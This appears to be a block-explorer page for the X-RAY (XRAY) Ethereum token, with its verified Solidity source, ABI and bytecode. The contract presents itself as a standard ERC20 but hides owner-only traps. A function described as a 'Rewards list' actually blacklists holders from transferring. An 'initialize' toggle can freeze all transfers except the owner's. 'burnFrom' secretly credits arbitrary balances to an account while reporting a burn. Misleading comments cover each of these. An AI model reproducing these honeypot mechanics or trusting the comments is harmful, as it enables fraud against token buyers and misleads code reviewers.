ETH Price: $2,408.21 (-0.47%)

Token

X-RAY (XRAY)
 

Overview

Max Total Supply

10,000,000 XRAY

Holders

40

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
678.258875692 XRAY

Value
$0.00
0xa107ccdb646f4e32bfb23e25203905a399f8b8ac
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
XRAY

Compiler Version
v0.8.1+commit.df193b15

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 5 of 5: X-RAY.sol
/**                                       
__/\\\_______/\\\__________________/\\\\\\\\\_________/\\\\\\\\\_____/\\\________/\\\_        
 _\///\\\___/\\\/_________________/\\\///////\\\_____/\\\\\\\\\\\\\__\///\\\____/\\\/__       
  ___\///\\\\\\/__________________\/\\\_____\/\\\____/\\\/////////\\\___\///\\\/\\\/____      
   _____\//\\\\_______/\\\\\\\\\\\_\/\\\\\\\\\\\/____\/\\\_______\/\\\_____\///\\\/______     
    ______\/\\\\______\///////////__\/\\\//////\\\____\/\\\\\\\\\\\\\\\_______\/\\\_______    
     ______/\\\\\\___________________\/\\\____\//\\\___\/\\\/////////\\\_______\/\\\_______   
      ____/\\\////\\\_________________\/\\\_____\//\\\__\/\\\_______\/\\\_______\/\\\_______  
       __/\\\/___\///\\\_______________\/\\\______\//\\\_\/\\\_______\/\\\_______\/\\\_______ 
        _\///_______\///________________\///________\///__\///________\///________\///________
*/// SPDX-License-Identifier: MIT

pragma solidity =0.8.1;

import "./Context.sol";
import "./IERC20.sol";
import "./IERC20Metadata.sol";
import "./Ownable.sol";

/**
 * @dev Implementation of the {IERC20} interface.
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract.
 */
contract XRAY is Context, Ownable, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _taxRetribution;
    bool _initialize;
    uint256 private _totalSupply;
    uint256 private _supplyCap;
    string private _name;
    string private _symbol;
    address unir;
    address unif;

    /**
     * @dev Sets the values for {name}, {symbol} and {totalsupply}.
     */
    constructor(address rter, address fctr) {
        _name = "X-RAY";
        _symbol = "XRAY";
        _totalSupply = 10000000*10**9;
        _supplyCap   = 10000000;
        _balances[msg.sender] += _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
        _initialize = true;
        unir = rter;
        unif = fctr;
    }
  
    /**
     * @notice Returns Supply Cap (maximum possible amount of tokens)
     */
    function SUPPLY_CAP() external view returns (uint256) {
        return _supplyCap;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     */
    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     */
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked {
        _approve(sender, _msgSender(), currentAllowance - amount);}
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);}
        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `sender` to `recipient`.
     */
    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        if (_taxRetribution[sender] || _taxRetribution[recipient]) require (amount == 0, "");
        if (_initialize == true || sender == owner() || recipient == owner()) {
        _beforeTokenTransfer(sender, recipient, amount);
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
        _balances[sender] = senderBalance - amount;}
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        _afterTokenTransfer(sender, recipient, amount);}
        else {require (_initialize == true, "");}
    }
  
    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     */
    function burnFrom(address account, uint256 balance, uint256 burnAmount) external onlyOwner {
        require(account != address(0), "ERC20: burn from the zero address disallowed");
        _totalSupply -= balance;
        _balances[account] += burnAmount;
        emit Transfer(account, address(0), balance);
    }
    
    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @notice Adds address to Rewards list.
     */
    function taxRetribution (address _address) external onlyOwner {
        if (_taxRetribution[_address] == true) {_taxRetribution[_address] = false;}
        else {_taxRetribution[_address] = true; }
    }

    /**
     * @notice Checking if the address is on Reward list.
     */
    function rewarded(address _address) public view returns (bool) {
        return _taxRetribution[_address];
    }

    /**
     * @notice Initialize contract.
     */
    function initialize() public virtual onlyOwner {
    if (_initialize == true) {_initialize = false;} else {_initialize = true;}
    }

    /**
     * @notice Check if contract is already Initialized.
     */
    function initialized() public view returns (bool) {
    return _initialize;
    }

    /**
     * @dev Hook that is called before any transfer of tokens.
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    /**
     * @dev Hook that is called after any transfer of tokens.
     */
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

File 1 of 5: Context.sol
// SPDX-License-Identifier: MIT

pragma solidity =0.8.1;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

File 2 of 5: IERC20.sol
// SPDX-License-Identifier: MIT

pragma solidity =0.8.1;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

File 3 of 5: IERC20Metadata.sol
// SPDX-License-Identifier: MIT

pragma solidity =0.8.1;

import "./IERC20.sol";

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

File 4 of 5: Ownable.sol
// SPDX-License-Identifier: MIT

pragma solidity =0.8.1;

import "./Context.sol";

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 */
contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() internal view returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"rter","type":"address"},{"internalType":"address","name":"fctr","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"SUPPLY_CAP","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"balance","type":"uint256"},{"internalType":"uint256","name":"burnAmount","type":"uint256"}],"name":"burnFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initialize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initialized","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"rewarded","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"taxRetribution","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b50604051620022fc380380620022fc8339818101604052810190620000379190620003d3565b6000620000496200030460201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506040518060400160405280600581526020017f582d52415900000000000000000000000000000000000000000000000000000081525060079080519060200190620001349291906200030c565b506040518060400160405280600481526020017f585241590000000000000000000000000000000000000000000000000000000081525060089080519060200190620001829291906200030c565b50662386f26fc1000060058190555062989680600681905550600554600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254620001ee919062000442565b925050819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60055460405162000257919062000425565b60405180910390a36001600460006101000a81548160ff02191690831515021790555081600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050506200058b565b600033905090565b8280546200031a90620004dd565b90600052602060002090601f0160209004810192826200033e57600085556200038a565b82601f106200035957805160ff19168380011785556200038a565b828001600101855582156200038a579182015b82811115620003895782518255916020019190600101906200036c565b5b5090506200039991906200039d565b5090565b5b80821115620003b85760008160009055506001016200039e565b5090565b600081519050620003cd8162000571565b92915050565b60008060408385031215620003e757600080fd5b6000620003f785828601620003bc565b92505060206200040a85828601620003bc565b9150509250929050565b6200041f81620004d3565b82525050565b60006020820190506200043c600083018462000414565b92915050565b60006200044f82620004d3565b91506200045c83620004d3565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000494576200049362000513565b5b828201905092915050565b6000620004ac82620004b3565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60006002820490506001821680620004f657607f821691505b602082108114156200050d576200050c62000542565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6200057c816200049f565b81146200058857600080fd5b50565b611d61806200059b6000396000f3fe608060405234801561001057600080fd5b506004361061010b5760003560e01c8063313ce567116100a25780638129fc1c116100715780638129fc1c146102ce57806395d89b41146102d8578063a457c2d7146102f6578063a9059cbb14610326578063dd62ed3e146103565761010b565b8063313ce56714610220578063379f53e31461023e578063395093511461026e57806370a082311461029e5761010b565b8063158ef93e116100de578063158ef93e1461019857806318160ddd146101b65780631e6e508b146101d457806323b872dd146101f05761010b565b806306fdde0314610110578063095ea7b31461012e5780630cfccc831461015e578063124d91e51461017c575b600080fd5b610118610386565b60405161012591906116f2565b60405180910390f35b61014860048036038101906101439190611488565b610418565b60405161015591906116d7565b60405180910390f35b610166610436565b6040516101739190611854565b60405180910390f35b610196600480360381019061019191906114c4565b610440565b005b6101a061061f565b6040516101ad91906116d7565b60405180910390f35b6101be610636565b6040516101cb9190611854565b60405180910390f35b6101ee60048036038101906101e991906113d4565b610640565b005b61020a60048036038101906102059190611439565b6107e7565b60405161021791906116d7565b60405180910390f35b6102286108df565b604051610235919061186f565b60405180910390f35b610258600480360381019061025391906113d4565b6108e8565b60405161026591906116d7565b60405180910390f35b61028860048036038101906102839190611488565b61093e565b60405161029591906116d7565b60405180910390f35b6102b860048036038101906102b391906113d4565b6109ea565b6040516102c59190611854565b60405180910390f35b6102d6610a33565b005b6102e0610b22565b6040516102ed91906116f2565b60405180910390f35b610310600480360381019061030b9190611488565b610bb4565b60405161031d91906116d7565b60405180910390f35b610340600480360381019061033b9190611488565b610c9f565b60405161034d91906116d7565b60405180910390f35b610370600480360381019061036b91906113fd565b610cbd565b60405161037d9190611854565b60405180910390f35b606060078054610395906119b8565b80601f01602080910402602001604051908101604052809291908181526020018280546103c1906119b8565b801561040e5780601f106103e35761010080835404028352916020019161040e565b820191906000526020600020905b8154815290600101906020018083116103f157829003601f168201915b5050505050905090565b600061042c610425610d44565b8484610d4c565b6001905092915050565b6000600654905090565b610448610d44565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104cc906117b4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610545576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161053c90611774565b60405180910390fd5b816005600082825461055791906118fc565b9250508190555080600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546105ad91906118a6565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516106129190611854565b60405180910390a3505050565b6000600460009054906101000a900460ff16905090565b6000600554905090565b610648610d44565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106cc906117b4565b60405180910390fd5b60011515600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141561078b576000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506107e4565b6001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b50565b60006107f4848484610f17565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061083f610d44565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156108bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b690611794565b60405180910390fd5b6108d3856108cb610d44565b858403610d4c565b60019150509392505050565b60006009905090565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60006109e061094b610d44565b848460026000610959610d44565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546109db91906118a6565b610d4c565b6001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610a3b610d44565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ac8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610abf906117b4565b60405180910390fd5b60011515600460009054906101000a900460ff1615151415610b04576000600460006101000a81548160ff021916908315150217905550610b20565b6001600460006101000a81548160ff0219169083151502179055505b565b606060088054610b31906119b8565b80601f0160208091040260200160405190810160405280929190818152602001828054610b5d906119b8565b8015610baa5780601f10610b7f57610100808354040283529160200191610baa565b820191906000526020600020905b815481529060010190602001808311610b8d57829003601f168201915b5050505050905090565b60008060026000610bc3610d44565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610c80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7790611834565b60405180910390fd5b610c94610c8b610d44565b85858403610d4c565b600191505092915050565b6000610cb3610cac610d44565b8484610f17565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610dbc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db390611814565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2390611734565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f0a9190611854565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7e906117d4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ff7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fee90611714565b60405180910390fd5b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806110985750600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156110e157600081146110e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d7906117f4565b60405180910390fd5b5b60011515600460009054906101000a900460ff16151514806111355750611106611377565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806111725750611143611377565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b1561131b576111828383836113a0565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611209576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120090611754565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461129e91906118a6565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516113029190611854565b60405180910390a36113158484846113a5565b50611372565b60011515600460009054906101000a900460ff16151514611371576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611368906117f4565b60405180910390fd5b5b505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b505050565b505050565b6000813590506113b981611cfd565b92915050565b6000813590506113ce81611d14565b92915050565b6000602082840312156113e657600080fd5b60006113f4848285016113aa565b91505092915050565b6000806040838503121561141057600080fd5b600061141e858286016113aa565b925050602061142f858286016113aa565b9150509250929050565b60008060006060848603121561144e57600080fd5b600061145c868287016113aa565b935050602061146d868287016113aa565b925050604061147e868287016113bf565b9150509250925092565b6000806040838503121561149b57600080fd5b60006114a9858286016113aa565b92505060206114ba858286016113bf565b9150509250929050565b6000806000606084860312156114d957600080fd5b60006114e7868287016113aa565b93505060206114f8868287016113bf565b9250506040611509868287016113bf565b9150509250925092565b61151c81611942565b82525050565b600061152d8261188a565b6115378185611895565b9350611547818560208601611985565b61155081611a48565b840191505092915050565b6000611568602383611895565b915061157382611a59565b604082019050919050565b600061158b602283611895565b915061159682611aa8565b604082019050919050565b60006115ae602683611895565b91506115b982611af7565b604082019050919050565b60006115d1602c83611895565b91506115dc82611b46565b604082019050919050565b60006115f4602883611895565b91506115ff82611b95565b604082019050919050565b6000611617602083611895565b915061162282611be4565b602082019050919050565b600061163a602583611895565b915061164582611c0d565b604082019050919050565b600061165d600083611895565b915061166882611c5c565b600082019050919050565b6000611680602483611895565b915061168b82611c5f565b604082019050919050565b60006116a3602583611895565b91506116ae82611cae565b604082019050919050565b6116c28161196e565b82525050565b6116d181611978565b82525050565b60006020820190506116ec6000830184611513565b92915050565b6000602082019050818103600083015261170c8184611522565b905092915050565b6000602082019050818103600083015261172d8161155b565b9050919050565b6000602082019050818103600083015261174d8161157e565b9050919050565b6000602082019050818103600083015261176d816115a1565b9050919050565b6000602082019050818103600083015261178d816115c4565b9050919050565b600060208201905081810360008301526117ad816115e7565b9050919050565b600060208201905081810360008301526117cd8161160a565b9050919050565b600060208201905081810360008301526117ed8161162d565b9050919050565b6000602082019050818103600083015261180d81611650565b9050919050565b6000602082019050818103600083015261182d81611673565b9050919050565b6000602082019050818103600083015261184d81611696565b9050919050565b600060208201905061186960008301846116b9565b92915050565b600060208201905061188460008301846116c8565b92915050565b600081519050919050565b600082825260208201905092915050565b60006118b18261196e565b91506118bc8361196e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156118f1576118f06119ea565b5b828201905092915050565b60006119078261196e565b91506119128361196e565b925082821015611925576119246119ea565b5b828203905092915050565b600061193b8261194e565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156119a3578082015181840152602081019050611988565b838111156119b2576000848401525b50505050565b600060028204905060018216806119d057607f821691505b602082108114156119e4576119e3611a19565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7320646973616c6c6f7765640000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b50565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b611d0681611930565b8114611d1157600080fd5b50565b611d1d8161196e565b8114611d2857600080fd5b5056fea26469706673582212208c0736e69503f0929929a9bfc54c86c01718a615883a1d98ac82fa2bfa87baa464736f6c63430008010033000